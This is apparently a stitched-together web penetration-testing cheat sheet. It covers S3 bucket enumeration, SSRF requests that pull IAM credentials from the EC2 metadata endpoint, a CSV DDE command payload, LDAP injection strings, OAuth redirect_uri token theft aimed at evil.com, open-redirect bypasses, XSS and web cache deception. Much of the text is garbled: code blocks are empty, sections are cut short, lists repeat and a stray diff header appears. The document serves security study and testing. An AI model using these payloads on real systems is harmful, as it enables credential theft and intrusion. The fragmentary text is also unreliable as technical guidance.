# Amazon Bucket S3 AWS
Prerequisites, at least you need awscli
```
```bash
sudo apt install awscli
```
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential
but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
```
```javascript
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
```
```
```javascript
aws configure --profile nameofprofile
```
then you can use *--profile nameofprofile* in the aws command
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
```
```bash
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
```
## Basic test - Listing the files
```bash
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
```
You can get the region with a dig and nslookup

## Bucket informations
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
```
```powershell
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
```
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
## Bucket Finder
A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.
```
```powershell
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words

```
Use a custom wordlist for the bucket finder, can be created with
```
```powershell
List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.

# CRLF
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in todays popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

# CSV Excel formula injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Exploit
Basic exploit with Dynamic Data Exchange
```
```powershell
DDE ("cmd";"/C calc";"!A0")A0

Technical Details of the above payload:
cmd is the name the server can respond to whenever a client is trying to access the server
/C calc is the file name which in our case is the calc(i.e the calc.exe)
!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data

## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD
with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

# LDAP injection
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
## Exploitation
Example 1.
```
```sql
user = *)(uid=*))(|(uid=*
pass = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
```
Example 2
```
```sql
user = admin)(!(&(1=0
pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))

# Network Pivoting Techniques
## Windows netsh Port Forwarding
```powershell
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
```
1. listenaddress is a local IP address waiting for a connection.
2. listenport local listening TCP port (the connection is waited on it).
3. connectaddress is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport is a TCP port to which the connection from listenport is forwarded to.

# NoSQL injection
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

# OAuth 2 - Common vulnerabilities
## Grabbing OAuth Token via redirect_uri
Redirect to a controlled domain to get the access token
```
```powershell
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
```
Redirect to an accepted Open URL in to get the access token
```
```powershell
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
```
OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” cant be pointed to an Open Redirect.
Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
```
```powershell
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
```
## Executing XSS via redirect_uri
```
```powershell
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```
## OAuth private key disclosure
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
## Authorization Code Rule Violation
```
The client MUST NOT use the authorization code more than once.
> The client MUST NOT use the authorization code more than once.
If an authorization code is used more than once, the authorization server MUST deny the request
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
```
## Cross-Site Request Forgery
Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (https://example.com/callback?code=AUTHORIZATION_CODE). This URL can be used in CSRF attacks.
```
The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.

# Open URL Redirection
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the applications access control check and then forward the attacker to privileged functions that they would normally not be able to access.
## Fuzzing
Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case
To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.
```
```powershell
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
```
## Exploitation
Using a whitelisted domain or keyword
```
```powershell
www.whitelisted.com.evil.com redirect to evil.com
```
Using CRLF to bypass "javascript" blacklisted keyword
```
```powershell

Using "%E3%80%82" to bypass "." blacklisted character
```
```powershell
//google%E3%80%82com
```
Using null byte "%00" to bypass blacklist filter
```
```powershell
//google%00.com
```
Using "@" character, browser will redirect to anything after the "@"
```
```powershell
http://www.theirsite.com@yoursite.com/
```
Creating folder as their domain
```
```powershell

# PHP Object Injection
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

# TAR Command Execution
By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and thats where the wildcard comes in handy.
## Exploit

# Web Cache Deception Attack
## Exploit
```
1.Browser requests http://www.example.com/home.php/non-existent.css.
2.Server returns the content of http://www.example.com/home.php, most probably with HTTP caching headers that instruct to not cache this page.
1. Browser requests `http://www.example.com/home.php/non-existent.css`.
2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page.
3. The response goes through the proxy.
4. The proxy identifies that the file has a css extension.
5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside.
```
## Methodology of the attack - example
```
1. Normal browsing, visit home : https://www.example.com/myaccount/home/
2. Open the malicious link : https://www.example.com/myaccount/home/malicious.css
1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
3. The page is displayed as /home and the cache is saving the page
4. Open a private tab with the previous URL : https://www.paypal.com/myaccount/home/malicous.css

@ -23,23 +24,21 @@ Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
```
Explanation of the vulnerability
```
The Meta element forces IEs document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks theres another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
